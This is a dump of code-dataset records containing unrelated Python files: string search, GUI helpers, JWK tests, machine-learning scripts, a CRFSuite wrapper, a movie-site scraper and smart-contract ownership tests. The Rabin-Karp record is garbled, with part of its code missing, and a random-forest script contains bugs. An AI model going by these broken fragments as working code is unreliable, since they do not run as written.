\n","sub_path":"modules/porting/old_db_mappings.py","file_name":"old_db_mappings.py","file_ext":"py","file_size_in_byte":7962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"417708666","text":"def Rabin_Karp(p,c):\n\t'''\n\tRabin-Karp Algorithm -- 滚动哈希算法:\n\t选取两个合适的互素常数b和h（l plen:\n\t\treturn False\n\tres = []\n\t# hash radix\n\tb = 2 # 100000000007\n\tt = b**clen\n\n\t# 计算p和c长度为clen的前缀对应的哈希值\n\tphash=0\n\tchash=0\n\tfor i in range(clen):\n\t\tphash = phash * b + ord(p[i])\n\t\tchash = chash * b + ord(c[i])\n\n\t# 对p不断右移一位，更新哈希值并判断\n\tfor x in range(0, plen-clen+1):\n\t\tif phash == chash:\n\t\t\tres.append(x)\n\t\tif x + clen < plen:\n\t\t\tphash = phash*b - ord(p[x])*t + ord(p[x+clen])\n\n\tif res:\n\t\treturn res\n\telse:\n\t\treturn False\n\n\nprint(Rabin_Karp('abcbc','ebc')) ","sub_path":"String Problem/Rabin_Karp.py","file_name":"Rabin_Karp.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"230549123","text":"import os\nimport abacusSoftware.constants as constants\nimport pyAbacus as abacus\nfrom PyQt5 import QtGui\n\ndef timeInUnitsToMs(time):\n value = 0\n if 'ms' in time:\n value = int(time.replace(' ms', ''))\n elif 's' in time:\n value = float(time.replace(' s', ''))\n value = int(1000 * value)\n return value\n\ndef setSamplingComboBox(comboBox, values = abacus.constants.SAMPLING_VALUES, default_value = abacus.constants.SAMPLING_DEFAULT_VALUE):\n comboBox.clear()\n\n model = comboBox.model()\n for row in values:\n if row < 1000:\n item = QtGui.QStandardItem(\"%d ms\" % row)\n elif row < 10000:\n item = QtGui.QStandardItem(\"%.1f s\" % (row / 1000))\n else:\n item = QtGui.QStandardItem(\"%d s\" % (row / 1000))\n # if row < abacus.SAMP_CUTOFF:\n # item.setBackground(QtGui.QColor('red'))\n # item.setForeground(QtGui.QColor('white'))\n model.appendRow(item)\n if default_value < 1000: unit = \"ms\"\n else: unit = \"s\"; value = default_value // 1000\n comboBox.setCurrentIndex(comboBox.findText(\"%d %s\"%(value, unit)))\n\ndef setCoincidenceSpinBox(spinBox, value = abacus.constants.COINCIDENCE_WINDOW_DEFAULT_VALUE):\n spinBox.setMinimum(abacus.constants.COINCIDENCE_WINDOW_MINIMUM_VALUE)\n spinBox.setMaximum(abacus.constants.COINCIDENCE_WINDOW_MAXIMUM_VALUE)\n spinBox.setSingleStep(abacus.constants.COINCIDENCE_WINDOW_STEP_VALUE)\n spinBox.setValue(value)\n \ndef setDelaySpinBox(spinBox, value = abacus.constants.DELAY_DEFAULT_VALUE):\n spinBox.setMinimum(abacus.constants.DELAY_MINIMUM_VALUE)\n spinBox.setMaximum(abacus.constants.DELAY_MAXIMUM_VALUE)\n spinBox.setSingleStep(abacus.constants.DELAY_STEP_VALUE)\n spinBox.setValue(value) \n\ndef setSleepSpinBox(spinBox, value = abacus.constants.SLEEP_DEFAULT_VALUE):\n spinBox.setMinimum(abacus.constants.SLEEP_MINIMUM_VALUE)\n spinBox.setMaximum(abacus.constants.SLEEP_MAXIMUM_VALUE)\n spinBox.setSingleStep(abacus.constants.SLEEP_STEP_VALUE)\n spinBox.setValue(value)\n\ndef findWidgets(class_, widget):\n return [att for att in dir(class_) if widget in att]\n\ndef unicodePath(path):\n return path.replace(\"\\\\\", \"/\")\n\ndef readConstantsFile():\n if os.path.exists(constants.SETTINGS_PATH):\n with open(constants.SETTINGS_PATH) as file:\n for line in file:\n try:\n exec(\"constants.%s\" % line)\n except SyntaxError as e:\n pass\n constants.SETTING_FILE_EXISTS = True\n else:\n print(\"Settings file not found at: %s\"%constants.SETTINGS_PATH)\n\ndef updateConstants(class_):\n for (name, action) in zip(constants.WIDGETS_NAMES, constants.WIDGETS_SET_ACTIONS):\n attributes = findWidgets(class_, name)\n for att in attributes:\n if att in dir(constants):\n val = eval(\"constants.%s\"%att)\n if name != \"comboBox\":\n try: #if the element does not exist, skip. Example: sleep_C in a 2ch device\n exec(action%(att, val)) \n except:\n pass\n \n else:\n try: #if the element does not exist, skip. Example: sleep_C in a 2ch device\n exec(action%(att, att, val))\n except:\n pass\n\ndef findDocuments():\n if constants.CURRENT_OS == \"win32\":\n import ctypes.wintypes\n buf = ctypes.create_unicode_buffer(ctypes.wintypes.MAX_PATH)\n ctypes.windll.shell32.SHGetFolderPathW(None, 5, None, 0, buf)\n buf = buf.value\n else:\n buf = os.path.expanduser(\"~\")\n return buf\n","sub_path":"AbacusSoftware/abacusSoftware/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"163734257","text":"\"\"\"Tests for acme.jose.jwk.\"\"\"\nimport os\nimport pkg_resources\nimport unittest\n\nfrom Crypto.PublicKey import RSA\n\nfrom acme.jose import errors\nfrom acme.jose import util\n\n\nRSA256_KEY = util.HashableRSAKey(RSA.importKey(pkg_resources.resource_string(\n __name__, os.path.join('testdata', 'rsa256_key.pem'))))\nRSA512_KEY = util.HashableRSAKey(RSA.importKey(pkg_resources.resource_string(\n __name__, os.path.join('testdata', 'rsa512_key.pem'))))\n\n\nclass JWKOctTest(unittest.TestCase):\n \"\"\"Tests for acme.jose.jwk.JWKOct.\"\"\"\n\n def setUp(self):\n from acme.jose.jwk import JWKOct\n self.jwk = JWKOct(key='foo')\n self.jobj = {'kty': 'oct', 'k': 'foo'}\n\n def test_to_partial_json(self):\n self.assertEqual(self.jwk.to_partial_json(), self.jobj)\n\n def test_from_json(self):\n from acme.jose.jwk import JWKOct\n self.assertEqual(self.jwk, JWKOct.from_json(self.jobj))\n\n def test_from_json_hashable(self):\n from acme.jose.jwk import JWKOct\n hash(JWKOct.from_json(self.jobj))\n\n def test_load(self):\n from acme.jose.jwk import JWKOct\n self.assertEqual(self.jwk, JWKOct.load('foo'))\n\n def test_public(self):\n self.assertTrue(self.jwk.public() is self.jwk)\n\n\nclass JWKRSATest(unittest.TestCase):\n \"\"\"Tests for acme.jose.jwk.JWKRSA.\"\"\"\n\n def setUp(self):\n from acme.jose.jwk import JWKRSA\n self.jwk256 = JWKRSA(key=RSA256_KEY.publickey())\n self.jwk256_private = JWKRSA(key=RSA256_KEY)\n self.jwk256json = {\n 'kty': 'RSA',\n 'e': 'AQAB',\n 'n': 'm2Fylv-Uz7trgTW8EBHP3FQSMeZs2GNQ6VRo1sIVJEk',\n }\n self.jwk512 = JWKRSA(key=RSA512_KEY.publickey())\n self.jwk512json = {\n 'kty': 'RSA',\n 'e': 'AQAB',\n 'n': 'rHVztFHtH92ucFJD_N_HW9AsdRsUuHUBBBDlHwNlRd3fp5'\n '80rv2-6QWE30cWgdmJS86ObRz6lUTor4R0T-3C5Q',\n }\n\n def test_equals(self):\n self.assertEqual(self.jwk256, self.jwk256)\n self.assertEqual(self.jwk512, self.jwk512)\n\n def test_not_equals(self):\n self.assertNotEqual(self.jwk256, self.jwk512)\n self.assertNotEqual(self.jwk512, self.jwk256)\n\n def test_load(self):\n from acme.jose.jwk import JWKRSA\n self.assertEqual(\n JWKRSA(key=util.HashableRSAKey(RSA256_KEY)), JWKRSA.load(\n pkg_resources.resource_string(\n __name__, os.path.join('testdata', 'rsa256_key.pem'))))\n\n def test_public(self):\n self.assertEqual(self.jwk256, self.jwk256_private.public())\n\n def test_to_partial_json(self):\n self.assertEqual(self.jwk256.to_partial_json(), self.jwk256json)\n self.assertEqual(self.jwk512.to_partial_json(), self.jwk512json)\n\n def test_from_json(self):\n from acme.jose.jwk import JWK\n self.assertEqual(self.jwk256, JWK.from_json(self.jwk256json))\n # TODO: fix schemata to allow RSA512\n #self.assertEqual(self.jwk512, JWK.from_json(self.jwk512json))\n\n def test_from_json_hashable(self):\n from acme.jose.jwk import JWK\n hash(JWK.from_json(self.jwk256json))\n\n def test_from_json_non_schema_errors(self):\n # valid against schema, but still failing\n from acme.jose.jwk import JWK\n self.assertRaises(errors.DeserializationError, JWK.from_json,\n {'kty': 'RSA', 'e': 'AQAB', 'n': ''})\n self.assertRaises(errors.DeserializationError, JWK.from_json,\n {'kty': 'RSA', 'e': 'AQAB', 'n': '1'})\n\n\nif __name__ == '__main__':\n unittest.main() # pragma: no cover\n","sub_path":"acme/jose/jwk_test.py","file_name":"jwk_test.py","file_ext":"py","file_size_in_byte":3608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"55490487","text":"'''\r\nCreated on 2018/09/19\r\n\r\n@author: Taichi\r\n'''\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.colors import ListedColormap\r\n\r\ndef plot_decision_regions(x,y,classifier,test_idx=None,resolution=0.02):\r\n markers=('s','x','o','^','v')\r\n colors=('red','blue','lightgreen','gray','cyan')\r\n cmap=ListedColormap(colors[:len(np.unique(y))])\r\n\r\n x1_min,x1_max=x[:,0].min()-1,x[:,0].max+1\r\n x2_min,x2_max=x[:,1].min()-1,x[:,1].max+1\r\n\r\n xx1,xx2=np.meshgrid(np.arange(x1_min,x1_max,resolution),\r\n np.arange(x2_min,x2_max,resolution))\r\n Z=classifier.predict(np.array([xx1.ravel(),xx2.ravel()]).T)\r\n Z=Z.reshape(xx1.shape)\r\n plt.contourf(xx1,xx2,Z,alpha=0.4,cmap=cmap)\r\n plt.xlim(xx1.min(),xx1.max())\r\n plt.ylim(xx2.min(),xx2.max())\r\n\r\n for idx, cl in enumerate(np.unique(y)):\r\n plt.scatter(x=x[y==cl,0],y=x[y==cl,1],\r\n alpha=0.8,c=cmap(idx),\r\n marker=markers[idx],label=cl)\r\n if test_idx:\r\n x_test,y_test=x[test_idx,:],y[test_idx]\r\n plt.scatter(x_test[:,0],x_test[:,1],c='',alpha=1.0,linewidth=1,marker='o',s=55,lable='test_set')\r\n\r\nlink=''\r\nlink2=''\r\ndf=pd.read_csv(link,encoding='cp932')\r\ndf=pd.read_table(link,encoding='cp932')\r\ndf=pd.read_excel(link,sheetname='',encoding='cp932')\r\ndf2=pd.read_csv(link2,encoding='cp932')\r\ndf2=pd.read_table(link2,encoding='cp932')\r\ndf2=pd.read_excel(link2,sheetname='',encoding='cp932')\r\n\r\n#二つのデータを分割したが、k分割などで分けてもok\r\nx_train=df[''].values\r\ny_train=df[''].values\r\nx_test=df2[''].values\r\ny_test=df2[''].values\r\nx_combined=np.vstack([x_train,x_test])\r\ny_combined=np.hstack([y_train,y_test])\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n#エントロピーを指標とするランダムフォレストのインスタンスの生成\r\nforest=RandomForestClassifier(criterion='entropy',n_estimators=10,random_state=1,n_jobs=2)\r\n#ランダムフォレストのモデルにトレーニングデータを適合させる\r\nforest.fit(x_train,y_train)\r\nplot_decision_regions(x_combined,y_combined,classifier=forest,test_idx=range(105,150))\r\nplt.xlabel('')\r\nplt.ylabel('')\r\nplt.legend(loc='upper left')\r\nplt.show()","sub_path":"RandomForest.py","file_name":"RandomForest.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"66516401","text":"from __future__ import division, print_function, absolute_import\n\nimport tflearn\nfrom tflearn.data_utils import shuffle, to_categorical\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nfrom tflearn.layers.conv import conv_2d, max_pool_2d\nfrom tflearn.layers.normalization import local_response_normalization\nfrom tflearn.data_preprocessing import ImagePreprocessing\nfrom tflearn.layers.estimator import regression\n\n\ndef get_data():\n # Data loading and preprocessing\n from tflearn.datasets import cifar10\n (X, Y), (X_test, Y_test) = cifar10.load_data()\n X, Y = shuffle(X, Y)\n Y = to_categorical(Y, 10)\n Y_test = to_categorical(Y_test, 10)\n return (X, Y), (X_test, Y_test)\n\n\ndef get_network():\n # Building convolutional network\n network = input_data(shape=[None, 32, 32, 3], name='input')\n network = conv_2d(network, 32, 3, activation='relu', regularizer=\"L2\")\n network = max_pool_2d(network, 2)\n network = conv_2d(network, 64, 3, activation='relu', regularizer=\"L2\")\n network = max_pool_2d(network, 2)\n\n network = conv_2d(network, 128, 3, activation='relu', regularizer=\"L2\")\n network = max_pool_2d(network, 2)\n\n network = fully_connected(network, 256, activation='relu')\n network = dropout(network, 0.8)\n network = fully_connected(network, 10, activation='softmax')\n network = regression(network, optimizer='adam', learning_rate=0.01,\n loss='categorical_crossentropy', name='target')\n return network\n\n\ndef main():\n name = 'model6'\n (X, Y), (X_test, Y_test) = get_data()\n network = get_network()\n\n # Training\n model = tflearn.DNN(network, tensorboard_verbose=0, checkpoint_path='checkpoints/' + name + '.tfl.ckpt')\n\n model.load('checkpoints/' + name + '.tfl')\n model.fit({'input': X}, {'target': Y}, n_epoch=12,\n validation_set=({'input': X_test}, {'target': Y_test}),\n snapshot_step=100, show_metric=True, batch_size=96, run_id='cifar10_cnn6')\n\n # Manually save model\n model.save('checkpoints/' + name + '.tfl')\n\n\nmain()\n","sub_path":"tensor6.py","file_name":"tensor6.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"459062061","text":"import os\nimport sys\nimport warnings\n\nimport pycrfsuite\n\nfrom nalaf.structures.data import Label\nfrom nalaf.learning.taggers import Tagger\n\n\nclass PyCRFSuite:\n\n def __init__(self, model_file=None):\n self.model_file = model_file\n\n if self.model_file is None:\n self.tagger = None\n else:\n self.tagger = pycrfsuite.Tagger()\n self.tagger.open(self.model_file)\n\n\n def annotate(self, corpus, class_id):\n \"\"\"\n :type corpus: nalaf.structures.data.Dataset\n :type class_id: str ~ to annotate with\n \"\"\"\n\n for sentence in corpus.sentences():\n labels = self.tagger.tag(pycrfsuite.ItemSequence(token.features for token in sentence))\n\n for token_index in range(len(sentence)):\n label = labels[token_index]\n sentence[token_index].predicted_labels = [Label(label, self.tagger.marginal(label, token_index))]\n\n corpus.form_predicted_annotations(class_id)\n\n\n @staticmethod\n def train(data, model_file, params=None):\n \"\"\"\n :type data: nalaf.structures.data.Dataset\n :type model_file: str ~ filename (from local file system) to save trained model to. If None, no model is saved.\n \"\"\"\n\n trainer = pycrfsuite.Trainer()\n if params is not None:\n trainer.set_params(params)\n\n for sentence in data.sentences():\n trainer.append(pycrfsuite.ItemSequence([token.features for token in sentence]),\n [token.original_labels[0].value for token in sentence])\n\n # The CRFSuite library handles the \"pickling\" of the file; saves the model here\n trainer.train(model_file)\n\n\n @staticmethod\n def tag(data, model_file, class_id):\n warnings.warn('Use non-static `annotate` instead', DeprecationWarning)\n\n \"\"\"\n :type data: nalaf.structures.data.Dataset\n :type model_file: str\n \"\"\"\n\n tagger = pycrfsuite.Tagger()\n tagger.open(model_file)\n\n for sentence in data.sentences():\n labels = tagger.tag(pycrfsuite.ItemSequence(token.features for token in sentence))\n\n for token_index in range(len(sentence)):\n label = labels[token_index]\n sentence[token_index].predicted_labels = [Label(label, tagger.marginal(label, token_index))]\n\n data.form_predicted_annotations(class_id)\n\n\nclass CRFSuite:\n \"\"\"\n Basic class for interaction with CRFSuite\n \"\"\"\n\n def __init__(self, directory, minify=False):\n warnings.warn('Deprecated. Please use PyCRFSuite instead', DeprecationWarning)\n\n self.directory = os.path.abspath(directory)\n \"\"\"the directory where the CRFSuite executable is located\"\"\"\n self.model_filename = 'example_entity_model'\n \"\"\"name to be used for saving the model\"\"\"\n if sys.platform.startswith('linux'):\n self.crf_suite_call = './crfsuite'\n else:\n self.crf_suite_call = 'crfsuite'\n self.minify = minify\n \"\"\"controls whether to replace feature names with an index in order to minimize input file length\"\"\"\n\n\n def create_input_file(self, dataset, mode):\n \"\"\"\n Creates the input files for training, testing or prediction in the appropriate format required by CRFSuite.\n Saves the files in the same directory where the executable is located.\n\n :type dataset: nalaf.structures.data.Dataset\n :param mode: one of the following 'train' or 'test' or 'predict'\n :type mode: str\n \"\"\"\n if self.minify:\n key_map = {key: index for index, key in\n enumerate(set(key for token in dataset.tokens() for key in token.features.keys()))}\n key_string = lambda key: key_map[key]\n else:\n key_string = lambda key: key\n\n with open(os.path.join(self.directory, mode), 'w', encoding='utf-8') as file:\n for sentence in dataset.sentences():\n for token in sentence:\n features = '\\t'.join(['{}:{}'.format(key_string(key), value)\n if type(value) is float\n else '{}={}'.format(key_string(key), str(value).replace(':', '_COLON_'))\n for key, value in token.features.items()])\n\n if mode in ('train', 'test'):\n label = token.original_labels[0].value\n else:\n label = '?'\n file.write('{}\\t{}\\n'.format(label, features))\n file.write('\\n')\n\n\n def learn(self, options=''):\n \"\"\"\n Train and save a CRF model with the latest train file.\n \"\"\"\n os.chdir(self.directory)\n if options:\n os.system('{} learn {}'.format(self.crf_suite_call, options))\n else:\n os.system('{} learn -m {} train'.format(self.crf_suite_call, self.model_filename))\n\n\n def tag(self, options=''):\n \"\"\"\n Test a CRF model with the latest model and test file.\n \"\"\"\n os.chdir(self.directory)\n if options:\n os.system('{} tag {}'.format(self.crf_suite_call, options))\n else:\n os.system('{} tag -qt -m {} test'.format(self.crf_suite_call, self.model_filename))\n\n\n def read_predictions(self, dataset, class_id, prediction_file='output.txt'):\n \"\"\"\n :type dataset: nalaf.structures.data.Dataset\n\n Reads in the predictions made by our model for each token and stores them into token.predicted_label[]\n\n Requires a dataset object and the output prediction file.\n\n The default output prediction file is 'output.txt'. The format is:\n * [predicted label]:[marginal probability]\n * in new line for each token\n * followed by a blank line for the end of the sentence\n\n IMPORTANT NOTE:\n Assumes a call to the test() function was made previously with the 'i' option included.\n Furthermore, it assumes we are calling it with the same dataset object used to create the test file.\n\n For example first we would call:\n * crf.create_input_file(dataset=test, mode='test')\n * crf.test(options='-m example_entity_model -i test > output.txt')\n Then we would call:\n * crf.read_predictions(dataset=test)\n \"\"\"\n\n os.chdir(self.directory)\n with open(prediction_file) as file:\n for sentence in dataset.sentences():\n for token in sentence:\n label, probability = file.readline().split(':')\n token.predicted_labels = [Label(label, float(probability))]\n\n file.readline() # skip the empty line signifying new sentence\n\n # call form_predicted_annotations() to populate the mention level predictions\n dataset.form_predicted_annotations(class_id)\n\n\nclass CRFSuiteTagger(Tagger):\n \"\"\"\n Performs tagging with a binary model using CRFSuite\n\n :type crf_suite: nalaf.learning.crfsuite.CRFSuite\n \"\"\"\n\n def __init__(self, predicts_classes, crf_suite, model_file='example_entity_model'):\n warnings.warn('Use PyCRFSuite', DeprecationWarning)\n\n super().__init__(predicts_classes)\n self.crf_suite = crf_suite\n \"\"\"an instance of CRFSuite used to actually generate predictions\"\"\"\n self.model_file = model_file\n \"\"\"path to the binary model used for generating predictions\"\"\"\n\n def tag(self, dataset):\n \"\"\"\n :type dataset: nalaf.structures.data.Dataset\n \"\"\"\n self.crf_suite.create_input_file(dataset, 'predict')\n self.crf_suite.tag('-m {} -i predict > output.txt'.format(self.model_file))\n self.crf_suite.read_predictions(dataset)\n","sub_path":"nalaf/learning/crfsuite.py","file_name":"crfsuite.py","file_ext":"py","file_size_in_byte":7835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"87071015","text":"from lib.base_action import BaseAction\n\n\nclass CreateIP(BaseAction):\n def run(self, subnet_network_mask=None, subnet_name=None,\n vrf_group_id=None, vrf_group=None,\n ipaddress=None, macaddress=None, ip_type=None, tags=None,\n device_name=None, available=None, clear_all=None,\n debug=False):\n\n payload = {\n \"ipaddress\": ipaddress, \"subnet\": subnet_name,\n \"macaddress\": macaddress, \"ip_type\": ip_type,\n \"tags\": tags, \"device\": device_name\n }\n\n print(\"payload: %s\" % payload)\n d42_headers = {'Accept': 'application/json'}\n response = self.post(\n endpoint=\"ips/\",\n payload=payload,\n headers=d42_headers\n )\n # d42 api agent returns response.json(0) if response.ok...:\n if type(response) is dict:\n return response\n else:\n return response.text\n","sub_path":"actions/create_or_edit_ip.py","file_name":"create_or_edit_ip.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"485970988","text":"import os\nimport threading\nfrom queue import Queue\nimport logging\nimport requests\nfrom requests.exceptions import ConnectionError\nfrom bs4 import BeautifulSoup\nfrom page_urls import get_page_links,get_number_of_pages\nfrom constants import all_movies_by_year,header\nimport re\nimport json\nparams = {'year_selected':2018, 'sort':'desc'}\nimport time\nimport random\nfrom threading import Lock,Thread\n\nlogging.basicConfig(format='%(asctime)s -%(funcName)s - %(levelname)s - %(message)s',\n datefmt='%d-%b-%y %H:%M:%S',\n level=logging.INFO, filename=\"log_file.log\")\n\nextract_year_from_url = re.compile('year_selected=(\\d{4})')\n\ndef get_year(url):\n return extract_year_from_url.findall(url)[0]\n\ndef get_links_for_all_movies_by_year(year):\n '''gets the links to all movies in a given year'''\n\n params = {'year_selected':year, 'sort':'desc'}\n\n num_pages = get_number_of_pages(f'{all_movies_by_year}/filtered?year_selected={year}')\n\n if num_pages == '0':\n return [f'{all_movies_by_year}/filtered?year_selected={year}&sort=desc&page={0}']\n else:\n links = [f'{all_movies_by_year}/filtered?year_selected={year}&sort=desc&page={i}' for i in range(0,int(num_pages))]\n\n return links\n\ndef get_links_to_all_movies_on_page(page_url):\n '''takes the url of a to a page with movies as input, returns a list of with urls to all the movies that appear in the page'''\n try:\n page = requests.get(page_url,headers=header)\n except ConnectionError:\n print('Connection error, trying again in 10')\n time.sleep(10)\n return get_links_to_all_movies_on_page(page_url)\n\n except Exception as e:\n logging.error(e)\n\n\n soup = BeautifulSoup(page.content,features=\"html.parser\")\n\n movie_tags = soup.select('span.title.numbered + a.title')\n movie_links = [link.attrs['href'] for link in movie_tags]\n movie_links = [f'https://www.metacritic.com/movie{link}' for link in movie_links]\n\n return movie_links\n\n\n\ndef get_link_for_all_movies_in_single_year(task_queue, write_queue):\n '''takes a list of urls as input, find all the movies in those urls and puts that result (a dict) on queue'''\n tmp_dict = {}\n\n while not task_queue.empty():\n url = task_queue.get()\n year = get_year(url[0])\n\n for link in url:\n\n\n print(f' ({year}) Getting url {link}')\n time.sleep(random.uniform(0.5,1))\n\n completed = False\n\n while not completed:\n try:\n page = requests.get(link,headers=header)\n soup = BeautifulSoup(page.content, features=\"html.parser\")\n movie_titles = [title.text for title in soup.select('span.title.numbered + a h3')]\n movie_tags = soup.select('span.title.numbered + a.title')\n movie_links = [link.attrs['href'] for link in movie_tags]\n movie_name_and_link = {name: f'https://www.metacritic.com{link}' for name, link in\n zip(movie_titles, movie_links)}\n tmp_dict.update({year:movie_name_and_link})\n time.sleep(random.uniform(1, 2))\n completed = True\n\n except ConnectionError:\n print('Connection error, retrying in 10 seconds')\n time.sleep(10)\n\n except Exception as e:\n logging.error(f'Was unable to download {link}, ({e})')\n break\n task_queue.task_done()\n\n write_queue.put(tmp_dict)\n tmp_dict = {}\n\n print(f'{threading.currentThread().name}: Stopping due to empty queue')\n\ndef make_dict_of_links_to_all_movies_by_year(num_workers):\n '''Use workers to get all the movies and save it to a dict that links the movie name to the url to that movie'''\n task_queue = Queue()\n write_queue = Queue()\n write_queue.downloads_complete = False\n\n # get all the links to all the movies\n with open('links_for_all_movies_by_year.txt', 'r') as file:\n content = file.read()\n content = content.split('\\n')\n\n # put urls for all the different pages in all years into the task queue\n unique_years = list(set([get_year(link) for link in content]))\n for year in unique_years:\n task_queue.put([item for item in content if get_year(item) == year])\n\n\n # make a writer queue thread\n writer_thread = Thread(target=write_dict_of_links_to_file,args=[write_queue])\n writer_thread.start()\n # iterate over each link\n for i in range(num_workers):\n workers = [threading.Thread(name=str(i),target=get_link_for_all_movies_in_single_year,args=[task_queue,write_queue]) for i in range(num_workers)]\n for w in workers:\n w.start()\n for w in workers:\n w.join()\n\n write_queue.downloads_complete = True\n\ndef write_dict_of_links_to_file(queue):\n '''Takes a queue as input and continuelesly updates the .json files'''\n FILENAME = 'all_movies_with_titles_and_links_by_year.json'\n\n\n if not os.path.isfile(FILENAME):\n with open(FILENAME,'w+') as file:\n pass\n\n while True and not queue.downloads_complete:\n if queue.empty():\n time.sleep(0.5)\n else:\n output = queue.get()\n with open(FILENAME, 'r+') as file:\n content = file.read()\n if content == '':\n json_dict = output\n file.write(json.dumps(json_dict))\n else:\n try:\n json_dict = json.loads(content)\n json_dict.update(output)\n with open(FILENAME, 'w+') as file2:\n print(f'Updated dict with {output}')\n file2.write(json.dumps(json_dict))\n\n except json.JSONDecodeError as e:\n print(e)\n\n print('Stopping writer queue thread')\n\n\n\n\ndef get_link_of_failed_download(task_queue,write_queue):\n\n while not task_queue.empty():\n time.sleep(random.uniform(0.5,1))\n failed_url = task_queue.get()\n print(f'Trying to fix {failed_url}')\n try:\n page = requests.get(failed_url, headers=header, allow_redirects=True)\n print(f'{failed_url} :: {page.status_code}')\n\n # check if the page was moved\n if 301 in [item.status_code for item in page.history]:\n print(f'{failed_url} has moved')\n real_url = page.url.split('movie_title=')[-1]\n real_url = f'https://www.metacritic.com/movie/{real_url}'\n time.sleep(random.uniform(0.5, 1))\n real_page = requests.get(real_url, headers=header, allow_redirects=True)\n if real_page.status_code == 200:\n soup = BeautifulSoup(real_page.content, features=\"html.parser\")\n product_title = soup.select('.product_page_title h1')[0].text.strip()\n year = soup.select('h1 + .release_year')[0].text.strip()\n\n # send the answer to the write queue\n write_queue.put( (year,product_title,real_page.url) )\n print(f'Fix {product_title}s url to {real_page.url}')\n\n else:\n print(f'Failed to get {real_url} ({real_page.status_code})')\n\n else:\n print(f'{failed_url} has not moved {page.status_code}')\n\n\n except Exception as e:\n print(f'Could not access {failed_url}: {e}')\n\n print('Stopping due to empty task queue')\n\ndef write_fixed_links(task_queue,write_queue):\n\n\n while task_queue.done is False:\n\n while not write_queue.empty():\n year,product_title,fixed_link = write_queue.get()\n\n # open up the json links file and read into memory\n with open('all_movies_with_titles_and_links_by_year.json', 'r') as jsonfile:\n all_movies_dict = json.loads(jsonfile.read())\n all_movies_dict[year][product_title] = fixed_link\n\n # overwrite the file\n with open('all_movies_with_titles_and_links_by_year.json', 'w') as jsonfile:\n jsonfile.write(json.dumps(all_movies_dict))\n\n print('No fixed urls to write, sleeping for 5 secs')\n time.sleep(5)\n\n print('All tasks done, shutting down write queue')\n\n\ndef get_real_links_of_failed_downloads(num_workers):\n\n write_queue = Queue()\n task_queue = Queue()\n task_queue.done = False\n\n # all the tasks to the task queue\n with open('failed_raw_downloads.txt','r') as file:\n for line in file:\n link,error = line.split(',')\n task_queue.put(link)\n\n # start the workers\n workers = []\n for i in range(num_workers):\n workers.append(threading.Thread(target=get_link_of_failed_download,args=[task_queue,write_queue]))\n\n for w in workers:\n w.start()\n for w in workers:\n w.join()\n\n\n print('All workers finished their jobs')\n task_queue.done = True\n\n\nif __name__ == '__main__':\n\n get_real_links_of_failed_downloads(5)\n\n #make_dict_of_links_to_all_movies_by_year(num_workers=20)\n","sub_path":"get_links_for_all_movies.py","file_name":"get_links_for_all_movies.py","file_ext":"py","file_size_in_byte":9253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"323549739","text":"import unittest\n\nfrom utils.deployutils import compile_contracts, attempt_deploy, mine_tx, MASTER, DUMMY\nfrom utils.deployutils import take_snapshot, restore_snapshot\nfrom utils.testutils import assertReverts, ZERO_ADDRESS\nfrom utils.testutils import generate_topic_event_map, get_event_data_from_log\n\nOWNED_SOURCE = \"contracts/Owned.sol\"\n\n\ndef setUpModule():\n print(\"Testing Owned...\")\n\n\ndef tearDownModule():\n print()\n\n\nclass TestOwned(unittest.TestCase):\n def setUp(self):\n self.snapshot = take_snapshot()\n\n def tearDown(self):\n restore_snapshot(self.snapshot)\n\n @classmethod\n def setUpClass(cls):\n cls.assertReverts = assertReverts\n\n compiled = compile_contracts([OWNED_SOURCE])\n cls.owned, txr = attempt_deploy(compiled, 'Owned', MASTER, [MASTER])\n\n cls.owner = lambda self: cls.owned.functions.owner().call()\n cls.nominatedOwner = lambda self: cls.owned.functions.nominatedOwner().call()\n cls.nominateOwner = lambda self, sender, newOwner: mine_tx(\n cls.owned.functions.nominateOwner(newOwner).transact({'from': sender}))\n cls.acceptOwnership = lambda self, sender: mine_tx(\n cls.owned.functions.acceptOwnership().transact({'from': sender}))\n\n cls.owned_event_map = generate_topic_event_map(compiled['Owned']['abi'])\n\n def test_owner_is_master(self):\n self.assertEqual(self.owner(), MASTER)\n\n def test_change_owner(self):\n old_owner = self.owner()\n new_owner = DUMMY\n\n self.assertReverts(self.nominateOwner, new_owner, old_owner)\n nominated_tx = self.nominateOwner(old_owner, new_owner)\n event_data = get_event_data_from_log(self.owned_event_map, nominated_tx.logs[0])\n self.assertEqual(event_data['event'], \"OwnerNominated\")\n self.assertEqual(event_data['args']['newOwner'], new_owner)\n\n self.assertEqual(self.owner(), old_owner)\n self.assertEqual(self.nominatedOwner(), new_owner)\n self.assertReverts(self.nominateOwner, new_owner, old_owner)\n accepted_tx = self.acceptOwnership(new_owner)\n event_data = get_event_data_from_log(self.owned_event_map, accepted_tx.logs[0])\n self.assertEqual(event_data['event'], \"OwnerChanged\")\n self.assertEqual(event_data['args']['oldOwner'], old_owner)\n self.assertEqual(event_data['args']['newOwner'], new_owner)\n\n self.assertEqual(self.nominatedOwner(), ZERO_ADDRESS)\n self.assertEqual(self.owner(), new_owner)\n self.assertReverts(self.nominateOwner, old_owner, new_owner)\n\n self.nominateOwner(new_owner, old_owner)\n self.acceptOwnership(old_owner)\n 